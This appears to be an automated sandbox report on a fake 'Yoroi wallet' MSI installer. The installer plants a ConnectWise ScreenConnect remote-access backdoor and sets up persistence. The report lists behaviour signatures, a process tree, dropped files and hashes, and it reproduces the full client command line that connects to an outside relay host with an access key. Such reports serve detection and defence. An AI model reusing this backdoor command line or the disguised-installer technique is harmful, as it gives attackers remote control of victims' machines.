Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/07/2026, 12:20

General

  • Target
    yoroi-wallet.msi
  • Size 11.6MB
  • Sample260702-ph79lsgv5p
  • SHA256 1b09cde4bcc2b973e6341e074d0beb7f25d3c4ce45dffa108653f54a969e4f61
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 20 IoCs
  • Suspicious use of SendNotifyMessage 18 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\yoroi-wallet.msi
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2836
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C0A7F5DFA6F12DEFFE3D0B0EEB18873C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBF63.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240697546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1984
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:6016
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding BBB7A2F36092C99F96A920A7D3AC3B89
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5548
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3D726EA3B553E8FBF300646790C3447A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5480
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4900
    • C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-p1b26i-relay.screenconnect.com&p=443&s=b233cafb-37b6-4ce9-8d91-50d4ae0c382f&k=BgIAAACkAABSU0ExAAgAAAEAAQAZAPK6odg9bfCEZ59VH%2f%2bGx0P%2fAtnA3sv%2bFOFqvgIVeDuH%2bxKeG4Kr5%2fJY%2fv1nP8ODSBQFv%2bFZddL5eLTJX6HriyhVXFdY2RaXhcGHrbCIDWQnRBmzjkAj%2f41Ecc5T0xw1yhV0%2fAUh68OUsORMrfKHaZV3choMpzgmBWvO9WWDbjykTOsQjbyI3%2fntbaLbyGXFc%2b0WHxDRyaaMXB8SNpr4dDKJwB6RM1RTMeI0AKoEHN6nmzlnY1FaUT%2fRLh0DG1d5BgZ8q1B0DtI%2fW7ijwsPw%2bMbioHOEe2t6bF9HBf6wdYHp3aTe8fs76gCNrBw6k8uCVorsIoJTkUvEBPFzKi65"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4276
      • C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.WindowsClient.exe" "RunRole" "09f597a7-f3c5-4ca4-82b7-beec4774a5e4" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3040

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5913ed.rbs

          • Path C:\Config.Msi\e5913ed.rbs
          • Size 214KB
          • SHA256 5d63c4c91f33569a0f52fdac95092bb2b9bc884b22e703caa1434ad28384a221
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\Client.en-US.resources
          • Size 64KB
          • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.Client.dll
          • Size 399KB
          • SHA256 dbaffdb4d49e5dba309f54b1fc110c236042ac82ccde029b2917e189edaf84d3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 c8102fc3bda354653fc1c80b500de20d1a6bb274826334f76817f595434d2f0d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 a33c975b07fc9db4713b6584965dd88b143d61b99c4d699dd326374b82dcd271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.Core.dll
          • Size 553KB
          • SHA256 a98c8a07c4b819afb60d4372b2b8428d08cdd93571acb02750c8a17287ca613b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 416a10eb49239bc3aa1b32acfa31bb206a662ab9969043a7f5fe9d6455ebc07a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.WindowsClient.exe
          • Size 604KB
          • SHA256 a5c8ede4d24165797dcfbabbb85f62c44a79b058381e68249bf418a01fc67a1d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 7a94f9bc46ebc6285b6a9d2ee989357705707c7e03831ce22e6fae7d8d7b471c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\app.config
          • Size 500B
          • SHA256 0641b4f985532f425bbd0ac7ab3efc93b304d7f8f1a3396c1c6f5bbd600f2b7d
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b589b9f84536006a)\system.config
          • Size 974B
          • SHA256 27a5425b33f1ec215b19168ef7b5b98381fc2b50459da30630e633237c47ac44
          • MD5 SHA1 SHA512 TLSH

          MSIBF63.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF63.tmp
          • Size 1.1MB
          • SHA256 80c78c9e4eca39bdefdc9d47b9a8b49dfcc3fe1c0f135338584c7e83702d539a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF63.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF63.tmp-\ScreenConnect.Core.dll
          • Size 543KB
          • SHA256 553ace16fbc4f84d8c66ca9a56797fffd527e61215aae4c09d79a55b7653a774
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF63.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 7071c7fa49e4b177126d58835d7df40ec0a18424d5c9110242d612fefb1974df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF63.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 d7610baba5b37a3c52bc19aae6440e7631d1184a3934ebe64f836716b427490d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI1AA3.tmp

          • Path C:\Windows\Installer\MSI1AA3.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5913ec.msi

          • Path C:\Windows\Installer\e5913ec.msi
          • Size 11.6MB
          • SHA256 1b09cde4bcc2b973e6341e074d0beb7f25d3c4ce45dffa108653f54a969e4f61
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 945794135a76ea47c880593797bcde8d1906d145012a7289616a76047c0a0d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {c604c0a0-79e0-48b6-911e-c96df5752cd7}_OnDiskSnapshotProp

          • Path \??\Volume{da0117bb-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{c604c0a0-79e0-48b6-911e-c96df5752cd7}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 f7c2268fd9d3dc56ae3e70a6fb518019c769ebbe71991b74f090c8ca9a4d409f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1984-24-0x0000000006060000-0x000000000606A000-memory.dmp

          memory/1984-28-0x0000000006180000-0x000000000620E000-memory.dmp

          memory/1984-33-0x0000000006B30000-0x00000000070EA000-memory.dmp

          memory/1984-32-0x00000000063C0000-0x000000000656E000-memory.dmp

          memory/1984-20-0x0000000006020000-0x000000000604E000-memory.dmp

          memory/2980-121-0x000001DEB0410000-0x000001DEB0DB4000-memory.dmp

          memory/2980-122-0x000001DEB0DC0000-0x000001DEB0E8D000-memory.dmp

          memory/3040-114-0x00000000009F0000-0x0000000000A8A000-memory.dmp

          memory/3040-118-0x000000001C040000-0x000000001C1C8000-memory.dmp

          memory/3040-120-0x0000000002C80000-0x0000000002C98000-memory.dmp

          memory/3040-119-0x0000000002AB0000-0x0000000002AC8000-memory.dmp

          memory/3040-117-0x000000001BD00000-0x000000001BEAE000-memory.dmp

          memory/3040-116-0x000000001BAC0000-0x000000001BB4E000-memory.dmp

          memory/3040-115-0x0000000002C10000-0x0000000002C78000-memory.dmp

          memory/4276-75-0x0000000003D20000-0x0000000003D38000-memory.dmp

          memory/4276-81-0x0000000003F60000-0x0000000003FEE000-memory.dmp

          memory/4276-103-0x0000000004350000-0x00000000043B8000-memory.dmp

          memory/4276-108-0x0000000004650000-0x0000000004725000-memory.dmp

          memory/4276-104-0x0000000004460000-0x00000000044F2000-memory.dmp

          memory/4276-106-0x0000000004110000-0x0000000004151000-memory.dmp

          memory/4276-99-0x00000000040C0000-0x0000000004110000-memory.dmp

          memory/4276-85-0x00000000041A0000-0x000000000434E000-memory.dmp